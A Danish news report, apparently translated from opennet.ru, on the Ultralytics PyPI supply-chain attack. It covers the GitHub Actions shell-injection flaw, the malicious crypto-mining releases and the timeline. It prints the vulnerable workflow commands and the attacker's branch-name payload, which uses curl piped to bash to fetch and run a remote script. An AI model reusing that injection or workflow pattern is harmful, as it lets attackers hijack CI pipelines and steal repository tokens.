Angriberne var i stand til at eksekvere kode med GitHub Actions-handlerrettigheder i Ultralytics Python-biblioteksdepotet, som bruges til at løse computersynsproblemer såsom at opdage objekter i billeder og segmentere billeder. Efter at have fået adgang til depotet, udgav angriberne flere nye Ultralytics-udgivelser i PyPI-biblioteket, som inkluderede ondsindede ændringer til cryptocurrency-mining. I løbet af den seneste måned er Ultralytics-biblioteket blevet downloadet fra PyPI-kataloget mere end 6.4 millioner gange.
For at kompromittere depotet blev der brugt en sårbarhed i pakken ultralytics-actions, som bruges til automatisk at starte handlere, når visse handlinger udføres på et lager på GitHub ved hjælp af GitHub Actions-mekanismen. I ultralytics-projektet var den sårbare handler bundet til pull_request_target-hændelsen og blev kaldt, når nye pull-anmodninger ankom. Især for at formatere koden i de sendte pull-anmodninger blev format.yml-handleren kaldt, og koden specificeret i "run"-sektionen af action.yml-filen blev udført, som indeholdt shell-kommandoer med substitutionsmønstre: git pull origin ${{ github.head_ref || github.ref }} git config --global bruger.navn "${{ inputs.github_brugernavn }}" git config --global bruger.email "${{ inputs.github_email }}"
Navnet på Git-grenen nævnt i pull-anmodningen blev således erstattet med shell-kommandoer uden korrekt escape. Det er bemærkelsesværdigt, at ultralytics-actions-pakken allerede i august rettet en lignende sårbarhed forbundet med brugen af en ekstern værdi i ekkofunktionen: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »
For at organisere eksekveringen af deres kode i konteksten af GitHub Actions-handleren, sendte angriberne en pull-anmodning til ultralytics-depotet med angivelse af følgende som filialnavn: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Derfor, når en pull-anmodning blev modtaget, blev den angriber-specificerede streng "$(...)" indsat i koden, hvilket, da handleren efterfølgende blev lanceret, førte til udførelse af koden "curl -sSfL raw.githubusercontent. com/…/file.sh | bash".

Kørende kode i forbindelse med GitHub Actions kan bruges til at fange lageradgangstoken og andre følsomme data. Hvordan angriberne præcist formåede at generere en udgivelse, der havde mulighed for at udføre deres kode i GitHub Actions, er endnu ikke klarlagt, at dette blev muligt på grund af en ændring i publish.yml-behandleren (angriberne fjernede verifikation af; konto, der har tilladelse til at udgive udgivelser i PyPI) og brugen af teknologi, der forgifter GitHub Actions build-cachen for at indsætte dine data i udgivelsen.
Den første ondsindede udgivelse af Ultralytics 8.3.41 blev udgivet af angriberne på PyPI den 4. december kl. 23:51 (MSK) og fjernet kl. 12:15 den følgende dag. Kl. 15:47 blev en anden udgivelse, 8.3.42, udgivet og fjernet kl. 16:47. De ondsindede versioner var således tilgængelige til download i i alt cirka 13 timer (PyPI registrerer cirka 250 downloads af ultralytics-biblioteket pr. dag). Udgivelserne 8.3.41 og 8.3.42 indeholdt kode, der blev downloadet fra en ekstern ... server XMRig-komponent til kryptovaluta-mining.
Projektudviklerne løste problemet og oprettede korrigerende udgivelser 8.3.43 og 8.3.44, men to dage senere blev endnu et angreb udført, hvor angriberne offentliggjorde to yderligere ondsindede udgivelser i dag kl. 04:41 og 05:27 (MSK) - 8.3.45 og 8.3.46, som omfatter anden minedriftskode. Indtil slutningen af undersøgelsen rådes brugerne til at vente med at installere nye versioner og rette udgivelse 8.3.44 som afhængigheder.
Kilde: opennet.ru
